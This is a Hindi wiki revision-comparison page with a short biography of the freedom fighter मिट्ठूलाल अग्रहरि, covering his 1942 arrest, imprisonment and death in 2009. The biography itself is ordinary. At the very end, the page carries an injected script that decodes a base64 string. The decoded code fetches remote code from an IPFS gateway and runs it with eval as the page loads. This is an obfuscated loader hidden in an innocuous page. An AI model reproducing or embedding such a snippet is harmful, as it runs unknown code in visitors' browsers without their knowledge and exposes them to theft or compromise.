मिट्ठूलाल अग्रहरि: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
(''''मिट्ठूलाल अग्रहरि''' एक भारतीय [[स्वतंत्रता सेनानी ...' के साथ नया पन्ना बनाया)
 
No edit summary
Line 1: Line 1:
'''मिट्ठूलाल अग्रहरि'''  एक भारतीय [[स्वतंत्रता सेनानी सूची|स्वतंत्रता सेनानी]] तथा [[आजाद हिन्द फ़ौज|आजाद हिंद फौज]]  के एक सक्रिय क्रांतिकारी थे।
'''मिट्ठूलाल अग्रहरि'''  एक स्वतंत्रता सेनानी थें, जिन्होंने भारतीय स्वतंत्रता संग्राम की लड़ाई मे अपनी अहम भूमिका अदा की। उत्तर प्रदेश के जौनपुर जिला के शाहगंज के पश्चिमी कौड़िया पक्का पोखरा निवासी मिट्ठूलाल अग्रहरी ने स्वतंत्रता संग्राम के दौरान अंग्रेज सरकार के दाँत खट्टे कर दिये थे। मूलतः आजमगढ़ जनपद के अहिरौली थाना अंतर्गत समसाबाद गाँव के निवासी स्वतंत्रता सेनानी मिट्ठूलाल को 3 सितंबर 1942 को गिरफ्तार करके उने विरूद्ध 38 व 35 (4) डी आय आर मे मुकदमा पंजीकृत कर जेल भेज दिया था। इस दौरान वें 6 माह तक कारावास मे रहें। जेल से बाहर आने के बाद भी वें देश को आजादी दिलाने के लिए संघर्षरत रहें।
105 वर्षीय वयोवृद्ध सेनानी मिट्ठूलाल अग्रहरि 5 अक्टूबर 2009 को सुबह 8 बजे हृदयघात के कारण निधन हो गया। अश्रुपूरित नयनो के बीच श्री अग्रहरी को गार्ड आफ फादर सम्मान के साथ अंतिम विदाई दी गई।


{{लेख प्रगति |आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति |आधार= |प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}

Revision as of 16:34, 17 May 2014

मिट्ठूलाल अग्रहरि एक स्वतंत्रता सेनानी थें, जिन्होंने भारतीय स्वतंत्रता संग्राम की लड़ाई मे अपनी अहम भूमिका अदा की। उत्तर प्रदेश के जौनपुर जिला के शाहगंज के पश्चिमी कौड़िया पक्का पोखरा निवासी मिट्ठूलाल अग्रहरी ने स्वतंत्रता संग्राम के दौरान अंग्रेज सरकार के दाँत खट्टे कर दिये थे। मूलतः आजमगढ़ जनपद के अहिरौली थाना अंतर्गत समसाबाद गाँव के निवासी स्वतंत्रता सेनानी मिट्ठूलाल को 3 सितंबर 1942 को गिरफ्तार करके उने विरूद्ध 38 व 35 (4) डी आय आर मे मुकदमा पंजीकृत कर जेल भेज दिया था। इस दौरान वें 6 माह तक कारावास मे रहें। जेल से बाहर आने के बाद भी वें देश को आजादी दिलाने के लिए संघर्षरत रहें। 105 वर्षीय वयोवृद्ध सेनानी मिट्ठूलाल अग्रहरि 5 अक्टूबर 2009 को सुबह 8 बजे हृदयघात के कारण निधन हो गया। अश्रुपूरित नयनो के बीच श्री अग्रहरी को गार्ड आफ फादर सम्मान के साथ अंतिम विदाई दी गई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>